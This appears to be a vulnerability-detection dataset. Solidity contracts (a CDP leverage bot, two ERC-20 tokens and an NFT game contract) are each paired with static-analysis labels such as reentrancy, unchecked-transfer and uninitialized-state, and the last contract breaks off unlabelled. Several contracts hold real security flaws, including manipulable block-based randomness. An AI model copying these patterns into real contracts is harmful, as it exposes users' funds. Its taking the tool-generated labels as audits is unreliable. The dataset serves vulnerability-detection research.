require(dai.transferFrom(msg.sender, this, debt));
}
uint ink = tub.ink(id);// locked collateral
tub.shut(id);
uint gemBalance = tub.bid(ink);
tub.exit(ink);
uint price = uint(feed.read());
uint bought = otc.sellAllAmount(gem, min(gemBalance, gem.balanceOf(this)),
dai, wmul(WAD - slippage, wmul(gemBalance, price)));
require(dai.transfer(msg.sender, bought));
}
/**
@notice give ownership of a CDP back to the sender
@param id id of the CDP owned by this contract
*/
function giveMeCDP(uint id) public auth {
tub.give(bytes32(id), msg.sender);
}
/**
@notice transfer any token from this contract to the sender
@param token : token contract address
*/
function giveMeToken(DSToken token) public auth {
token.transfer(msg.sender, token.balanceOf(this));
}
/**
@notice transfer all ETH balance from this contract to the sender
*/
function giveMeETH() public auth {
msg.sender.transfer(address(this).balance);
}
/**
@notice transfer all ETH balance from this contract to the sender and destroy the contract. Must be stopped
*/
function destroy() public auth {
require(stopped);
selfdestruct(msg.sender);
}
/**
@notice set the acceptable price slippage for trades.
@param slip E.g: 0.01 * 10^18 == 1% acceptable slippage
*/
function setSlippage(uint slip) public auth {
require(slip < WAD);
slippage = slip;
}
/**
@notice set the target liquidation price for leveraged CDPs created
@param wad E.g. 300 * 10^18 == 300 USD target liquidation price
*/
function setLiqPrice(uint wad) public auth {
liquidationPriceWad = wad;
}
/**
@notice set the minimal ETH for trades (depends on otc)
@param wad minimal ETH to trade
*/
function setMinETH(uint wad) public auth {
minETH = wad;
}
/**
@notice set the minimal Dai for trades (depends on otc)
@param wad minimal Dai to trade
*/
function setMinDai(uint wad) public auth {
minDai = wad;
}
function setTub(TubInterface _tub) public auth {
tub = _tub;
}
function setDai(DSToken _dai) public auth {
dai = _dai;
}
function setSkr(DSToken _skr) public auth {
skr = _skr;
}
function setGov(DSToken _gov) public auth {
gov = _gov;
}
function setGem(WETH _gem) public auth {
gem = _gem;
}
function setFeed(DSValue _feed) public auth {
feed = _feed;
}
function setOTC(OtcInterface _otc) public auth {
otc = _otc;
}
function _openAndJoinCDPWETH(uint amount) internal returns(bytes32 id) {
id = tub.open();
_joinCDP(id, amount);
}
function _joinCDP(bytes32 id, uint amount) internal {
uint skRate = tub.ask(WAD);
uint valueSkr = wdiv(amount, skRate);
tub.join(valueSkr);
tub.lock(id, min(valueSkr, skr.balanceOf(this)));
}
function _reinvest(bytes32 id, uint latestPrice) internal returns(bool ok) {
// Cup memory cup = tab.cups(id);
uint debt = tub.tab(id);
uint ink = tub.ink(id);// locked collateral
uint maxInvest = wdiv(wmul(liquidationPriceWad, ink), ratio);
if(debt >= maxInvest) {
return false;
}
uint leftOver = sub(maxInvest, debt);
if(leftOver >= minDai) {
tub.draw(id, leftOver);
uint bought = otc.sellAllAmount(dai, min(leftOver, dai.balanceOf(this)),
gem, wmul(WAD - slippage, wdiv(leftOver, latestPrice)));
_joinCDP(id, bought);
return true;
} else {
return false;
}
}
}
contract CDPerFactory {
event Created(address indexed sender, address cdper);
mapping(address=>bool) public isCDPer;
// deploys a new CDPer instance
// sets owner of CDPer to caller
function build() public returns (CDPer cdper) {
cdper = build(msg.sender);
}
// deploys a new CDPer instance
// sets custom owner of CDPer
function build(address owner) public returns (CDPer cdper) {
cdper = new CDPer();
emit Created(owner, address(cdper));
cdper.setOwner(owner);
isCDPer[cdper] = true;
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) incorrect-equality with Medium impact
3) unchecked-transfer with High impact
4) unused-return with Medium impact
5) locked-ether with Medium impact |
/**
________ __ __ ________ ______ __ __ ________ _______ ______ __ __ ______
| | \ | | \ / \| \ | | \ | \| | \ | \/ \
\$$$$$$$| $$ | $| $$$$$$$$ | $$$$$$| $$\ | $| $$$$$$$$ | $$$$$$$\\$$$$$| $$\ | $| $$$$$$\
| $$ | $$__| $| $$__ | $$ | $| $$$\| $| $$__ | $$__| $$ | $$ | $$$\| $| $$ __\$$
| $$ | $$ $| $$ \ | $$ | $| $$$$\ $| $$ \ | $$ $$ | $$ | $$$$\ $| $$| \
| $$ | $$$$$$$| $$$$$ | $$ | $| $$\$$ $| $$$$$ | $$$$$$$\ | $$ | $$\$$ $| $$ \$$$$
| $$ | $$ | $| $$_____ | $$__/ $| $$ \$$$| $$_____ | $$ | $$_| $$_| $$ \$$$| $$__| $$
| $$ | $$ | $| $$ \ \$$ $| $$ \$$| $$ \ | $$ | $| $$ | $$ \$$$\$$ $$
\$$ \$$ \$$\$$$$$$$$ \$$$$$$ \$$ \$$\$$$$$$$$ \$$ \$$\$$$$$$\$$ \$$ \$$$$$$
🔥 The One Ring was forged in the Ethereum Doom by the Dark Lord Sauron. Sauron intended it to be the most powerful weapon for the strongest holder. 🔥
⭕ One Ring's rules ⭕
▶ If you make the biggest buy (in tokens) you will hold the One Ring for one hour, and collect 4% fees (in ETH) the same way marketing does.
Once the hour is finished, the counter will be reset and everyone will be able to compete again for the One Ring.
▶ If you sell any tokens at all at any point you are not worthy of the One Ring.
▶ If someone beats your record, they steal you the One Ring
Website: https://oneringeth.com
Twitter: https://twitter.com/OneringETH
Telegram: https://t.me/OneRingEntry
___
.';:;'.
/_' _' /\ __
;a/ e= J/-'" '.
\ ~_ ( -' ( ;_ ,.
L~"'_. -. \ ./ )
,'-' '-._ _; )' (
.' .' _.'") \ \( |
/ ( .-' __\{`', \ |
/ .' / _.-' " ; / |
/ / '-._'-, / / \ (
__/ (_ ,;' .-' / / /_'-._
`"-'` ~` ccc.' __.',' \j\L\
.='/|\7
' `
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract OneRing is IERC20 {
using SafeMath for uint256;
string constant _name = "ONERING";
string constant _symbol = "RING";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
uint256 _totalSupply = 10000 * (10**_decimals);
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
constructor() {
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e25, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ShepCoin is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("ShepCoin", "SHEP", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e25);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
} | No vulnerabilities found |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./utils/Base.sol";
import "./libs/BatchCounters.sol";
import "./interfaces/IDrawer.sol";
contract AtopiaApe is AtopiaBase {
bool public initialized;
using BatchCounters for BatchCounters.Counter;
BatchCounters.Counter private _tokenIds;
struct Token {
address token;
uint256 price;
uint256 limit;
}
event TraitUpdated(uint256 tokenId, uint256 tokenTrait);
uint256 public constant saleFee = 0.06 ether;
uint256 public constant BLOCK_COUNT = 1000;
mapping(address => bool) public memberships;
mapping(address => uint256) public whitelists;
Token[] public tokens;
mapping(uint256 => string) names;
mapping(uint256 => uint256) public tokenTraits;
mapping(uint256 => mapping(uint256 => uint256)) public traitStore;
uint256[] blockHashes;
uint256 seed;
IDrawer public drawer;
uint8 public state;
function initialize(address bucks) public virtual override {
require(!initialized);
initialized = true;
AtopiaBase.initialize(bucks);
seed = uint256(keccak256(abi.encodePacked(block.difficulty, block.coinbase, block.timestamp)));
}
function totalTokens() external view returns (uint256) {
return tokens.length;
}
modifier onlyState(uint8 _state) {
require(state >= _state, "Not Allowed");
_;
}
function totalSupply() public view returns (uint256) {
return _tokenIds.current();
}
function nextGenInfo(uint256 last) public pure returns (uint256, uint256) {
if (last < 10_000) {
return (10_000_000_000, 5 * apeYear); // 10k ABUCKS
} else if (last < 20_000) {
return (10_000_000_000, 3 * apeYear); // 15k ABUCKS
} else if (last < 30_000) {
return (15_000_000_000, 2 * apeYear); // 15k ABUCKS
} else if (last < 40_000) {
return (20_000_000_000, 1 * apeYear); // 20k ABUCKS
} else {
return (25_000_000_000, 1 * apeYear); // 25k ABUCKS
}
}
function blockToken(uint256 blockIndex) public view returns (uint256) {
uint256 blockHash = blockHashes[blockIndex];
if (blockHash > 0) {
return (blockHash % BLOCK_COUNT) + 1 + blockIndex * BLOCK_COUNT;
} else {
return 0;
}
}
function enter(
address to,
uint256 tokenId,
uint256 _seed
) internal {
uint256 tokenTrait;
for (uint16 i = 0; i < drawer.traitCount() - 1; i++) {
tokenTrait = (tokenTrait << 16) | ((_seed & 0xFFFF) % drawer.itemCount(i));
_seed = _seed >> 16;
}
// Furry Body & Face Colors
if (((tokenTrait >> 144) & 0xFFFF) == ((tokenTrait >> 128) & 0xFFFF)) {
tokenTrait = (tokenTrait << 16) | 1;
} else {
tokenTrait = tokenTrait << 16;
}
tokenTraits[tokenId] = tokenTrait;
_mint(to, tokenId);
}
function batch(
address to,
uint256 amount,
uint256 age
) internal {
uint256 newSeed = seed;
(uint256 start, uint256 end) = _tokenIds.increment(amount);
uint256 info = ((block.timestamp - age) << 64) | uint64(block.timestamp);
for (uint256 i = start; i <= end; i++) {
infos[i] = info;
newSeed = uint256(keccak256(abi.encodePacked(i, info, newSeed)));
enter(to, i, newSeed);
if (i % BLOCK_COUNT == 0) {
blockHashes.push(newSeed);
}
}
seed = newSeed;
}
function mint(uint256 amount) external payable onlyState(2) {
require(amount <= 7);
require(totalSupply() + amount <= 10_000);
require(msg.value >= saleFee * amount);
batch(msg.sender, amount, 5 * apeYear);
}
function mintPresale(uint256 amount) external payable onlyState(1) {
require(whitelists[msg.sender] >= amount);
whitelists[msg.sender] -= amount;
require(totalSupply() + amount <= 10_000);
require(msg.value >= saleFee * amount);
batch(msg.sender, amount, 5 * apeYear);
}
function mintOG() external onlyState(1) {
require(memberships[msg.sender]);
delete memberships[msg.sender];
require(totalSupply() < 10_000);
batch(msg.sender, 1, 5 * apeYear);
}
function mintWithToken(uint256 index, uint256 amount) external onlyState(1) {
require(amount <= (state == 1 ? 3 : 7));
require(tokens[index].limit >= amount);
tokens[index].limit -= amount;
require(totalSupply() + amount <= 10_000);
IBucks(tokens[index].token).transferFrom(msg.sender, admin, tokens[index].price * amount);
batch(msg.sender, amount, 5 * apeYear);
}
function mintNextGen(uint256 amount) external {
uint256 last = totalSupply();
uint256 end = last + amount;
require(end <= 50_000);
require((last / 10_000) == (end / 10_000));
(uint256 price, uint256 age) = nextGenInfo(end);
bucks.burnFrom(msg.sender, price * amount);
batch(msg.sender, amount, age);
}
function setName(uint256 tokenId, string memory name) external {
onlyTokenOwner(tokenId);
bucks.burnFrom(msg.sender, 700_000_000);
names[tokenId] = name;
}
function placeItem(
uint256 tokenId,
uint16 traitType,
uint256 traitId,
bool isStore
) internal {
uint16 traitPos = (10 - traitType) * 16;
uint256 tokenTrait = tokenTraits[tokenId];
uint256 exchangeId = (tokenTrait >> traitPos) & 0xFFFF;
if (isStore) {
uint256 store = traitStore[tokenId][traitType];
uint256 count = store & 0xFFFF;
store = store >> 16;
if (count == 0 && exchangeId > 0) {
store = exchangeId;
count = 1;
}
traitStore[tokenId][traitType] = (store << 32) | (traitId << 16) | (count + 1);
}
tokenTrait = ((tokenTrait ^ (exchangeId << traitPos)) ^ 0) | (traitId << traitPos);
tokenTraits[tokenId] = tokenTrait;
emit TraitUpdated(tokenId, tokenTrait);
}
function useItem(
uint256 tokenId,
uint256 itemId,
uint256 amount
) external {
onlyTokenOwner(tokenId);
(uint256 job, uint256 task, ) = space.getLife(tokenId);
require(job == 0 || task > 0);
uint256 itemInfo = IShop(shop).itemInfo(itemId - 1);
// Min Age
require(getAge(tokenId) >= itemInfo & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
itemInfo = itemInfo >> 128;
// Bonus Trait
if (itemInfo & 0xFFFFFFFF > 0) {
require(amount == 1);
uint16 traitId = uint16(itemInfo & 0xFFFF);
uint16 traitType = uint16((itemInfo >> 16) & 0xFFFF);
placeItem(tokenId, traitType, traitId, true);
}
IShop(shop).burn(msg.sender, itemId, amount);
itemInfo = itemInfo >> 64;
// Bonus Age
useItemInternal(tokenId, itemInfo * amount);
}
function makeup(
uint256 tokenId,
uint16 traitType,
uint256 storeIndex
) external {
onlyTokenOwner(tokenId);
uint256 store = traitStore[tokenId][traitType];
uint256 count = store & 0xFFFF;
require(storeIndex > 0 && storeIndex <= count);
uint16 traitId = uint16((store >> (storeIndex * 16)) & 0xFFFF);
placeItem(tokenId, traitType, traitId, false);
}
function claimTraits(uint256 blockIndex) external {
uint16 trait5Index = uint16(drawer.itemCount(5) + blockIndex);
require(trait5Index < drawer.totalItems(5));
uint16 traitSpecial = uint16(drawer.itemCount(10) + blockIndex);
require(traitSpecial < drawer.totalItems(10));
uint256 tokenId = blockToken(blockIndex);
require(msg.sender == ownerOf[tokenId]);
blockHashes[blockIndex] = 0;
placeItem(tokenId, 5, trait5Index, true);
placeItem(tokenId, 10, traitSpecial, false);
}
function setState(uint8 _state) external onlyOwner {
state = _state;
}
function setDrawer(address _drawer) external onlyOwner {
drawer = IDrawer(_drawer);
emit DrawerUpdated(_drawer);
}
function addMembership(address[] calldata members) public onlyOwner {
for (uint256 i = 0; i < members.length; i++) {
memberships[members[i]] = true;
}
}
function addWhitelists(address[] calldata members) public onlyOwner {
for (uint256 i = 0; i < members.length; i++) {
whitelists[members[i]] = 3;
}
}
function addToken(
address token,
uint256 price,
uint256 limit
) public onlyOwner {
tokens.push(Token(token, price, limit));
}
function withdraw() external onlyOwner {
payable(admin).transfer(address(this).balance);
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(ownerOf[tokenId] != address(0), "Token Invalid");
return drawer.tokenURI(tokenId, names[tokenId], tokenTraits[tokenId], uint16((getAge(tokenId) / apeYear)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IBucks {
function mint(address account, uint256 amount) external;
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ITrait.sol";
interface IDrawer {
function traitCount() external view returns (uint16);
function itemCount(uint256 traitId) external view returns (uint256);
function totalItems(uint256 traitId) external view returns (uint256);
function tokenURI(
uint256 tokenId,
string memory name,
uint256 tokenTrait,
uint16 age
) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function itemInfo(uint256 index) external view returns (uint256);
function burn(
address account,
uint256 id,
uint256 value
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITrait {
function name() external view returns (string memory);
function itemCount() external view returns (uint256);
function totalItems() external view returns (uint256);
function getTraitName(uint16 traitId) external view returns (string memory);
function getTraitContent(uint16 traitId) external view returns (string memory);
function getTraitByAge(uint16 age) external view returns (uint16);
function isOverEye(uint16 traitId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library BatchCounters {
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter, uint256 amount) internal returns (uint256 start, uint256 end) {
start = counter._value + 1;
counter._value += amount;
end = counter._value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "../interfaces/IBucks.sol";
import "../interfaces/IShop.sol";
interface ISpace {
function getLife(uint256 tokenId)
external
view
returns (
uint256 job,
uint256 task,
uint256 data
);
}
abstract contract AtopiaBase is ERC721 {
uint256 constant apeYear = 365 days / 10;
IBucks public bucks;
address public shop;
ISpace public space;
mapping(uint256 => uint256) public infos;
mapping(uint256 => uint256) public grow;
function initialize(address _bucks) public virtual {
name = "Atopia Apes";
symbol = "ATPAPE";
bucks = IBucks(_bucks);
}
function getRewardsInternal(
uint256 tokenId,
uint256 info,
uint256 timestamp
) internal view returns (uint256) {
if (info == 0) return 0;
uint64 claims = uint64(info);
uint256 duration = timestamp - claims;
uint256 averageSpeed = (timestamp + claims) / 2 + grow[tokenId] - (uint128(info) >> 64);
return (averageSpeed * duration * 20_000_000) / apeYear / 1 days;
}
function getAge(uint256 tokenId) public view returns (uint256) {
return (block.timestamp - (uint128(infos[tokenId]) >> 64)) + grow[tokenId];
}
function getReward(uint256 tokenId) internal view returns (uint256 pending, uint256 info) {
(uint256 job, uint256 task, ) = space.getLife(tokenId);
info = infos[tokenId];
pending = info >> 128;
if (job == 0 || task > 0) {
pending += getRewardsInternal(tokenId, info, block.timestamp);
}
}
function getRewards(uint256[] memory tokenIds) external view returns (uint256 rewards) {
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
(uint256 pending, ) = getReward(tokenId);
rewards += pending;
}
}
function onlyTokenOwner(uint256 tokenId) public {
require(ownerOf[tokenId] == msg.sender);
}
function updateInternal(uint256 tokenId) internal {
uint256 timestamp = block.timestamp;
uint256 info = infos[tokenId];
uint64 claims = uint64(info);
uint128 birth = (uint128(info) >> 64);
uint256 duration = timestamp - claims;
uint256 average = ((timestamp + claims) >> 1) + grow[tokenId] - birth;
uint256 pending = (info >> 128) + (average * duration * 20_000_000) / apeYear / 1 days;
infos[tokenId] = (pending << 128) | (birth << 64) | uint64(timestamp);
}
function claimRewards(uint256[] memory tokenIds) public {
uint256 timestamp = block.timestamp;
uint256 rewards;
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(ownerOf[tokenId] == msg.sender);
(uint256 pending, uint256 info) = getReward(tokenId);
if (pending > 0) {
rewards += pending;
infos[tokenId] = ((uint128(info) >> 64) << 64) | uint64(timestamp);
}
}
if (rewards > 0) {
bucks.mint(msg.sender, rewards);
}
}
function useItemInternal(uint256 tokenId, uint256 bonusAge) internal {
updateInternal(tokenId);
grow[tokenId] += bonusAge;
}
function update(uint256 tokenId) external {
require(address(space) == msg.sender);
updateInternal(tokenId);
}
function exitCenter(
uint256 tokenId,
address center,
uint256 grown,
uint256 enjoyFee
) external {
require(address(space) == msg.sender);
uint256 timestamp = block.timestamp;
uint256 info = infos[tokenId];
uint256 rewards = getRewardsInternal(tokenId, info, timestamp);
uint256 fee = (rewards * enjoyFee) / 10000;
uint256 pending = (infos[tokenId] >> 128) + (rewards - fee);
infos[tokenId] = (pending << 128) | ((uint128(info) >> 64) << 64) | uint64(timestamp);
grow[tokenId] += grown;
bucks.mint(center, fee);
}
function setShop(address _shop) external onlyOwner {
shop = _shop;
emit ShopUpdated(_shop);
}
function setSpace(address _space) external onlyOwner {
space = ISpace(_space);
emit SpaceUpdated(_space);
}
function _beforeTokenTransfer(
address,
address,
uint256 tokenId
) internal virtual override {
uint256 timestamp = block.timestamp;
(uint256 pending, uint256 info) = getReward(tokenId);
if (pending > 0) {
infos[tokenId] = ((uint128(info) >> 64) << 64) | uint64(timestamp);
bucks.mint(ownerOf[tokenId], pending);
}
}
event DrawerUpdated(address drawer);
event ShopUpdated(address shop);
event SpaceUpdated(address space);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/// @notice Modern and gas efficient ERC-721 + ERC-20/EIP-2612-like implementation,
/// including the MetaData, and partially, Enumerable extensions.
contract ERC721 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed spender, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
address implementation_;
address public admin;
string public name;
string public symbol;
/*///////////////////////////////////////////////////////////////
ERC-721 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => uint256) public balanceOf;
mapping(uint256 => address) public ownerOf;
mapping(uint256 => address) public getApproved;
mapping(address => mapping(address => bool)) public isApprovedForAll;
/*///////////////////////////////////////////////////////////////
VIEW FUNCTION
//////////////////////////////////////////////////////////////*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
function owner() external view returns (address) {
return admin;
}
/*///////////////////////////////////////////////////////////////
ERC-20-LIKE LOGIC
//////////////////////////////////////////////////////////////*/
function transfer(address to, uint256 tokenId) external {
require(msg.sender == ownerOf[tokenId], "NOT_OWNER");
_transfer(msg.sender, to, tokenId);
}
/*///////////////////////////////////////////////////////////////
ERC-721 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId) external pure returns (bool supported) {
supported = interfaceId == 0x80ac58cd || interfaceId == 0x5b5e139f;
}
function approve(address spender, uint256 tokenId) external {
address owner_ = ownerOf[tokenId];
require(msg.sender == owner_ || isApprovedForAll[owner_][msg.sender], "NOT_APPROVED");
getApproved[tokenId] = spender;
emit Approval(owner_, spender, tokenId);
}
function setApprovalForAll(address operator, bool approved) external {
isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public {
require(
msg.sender == from || msg.sender == getApproved[tokenId] || isApprovedForAll[from][msg.sender],
"NOT_APPROVED"
);
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external {
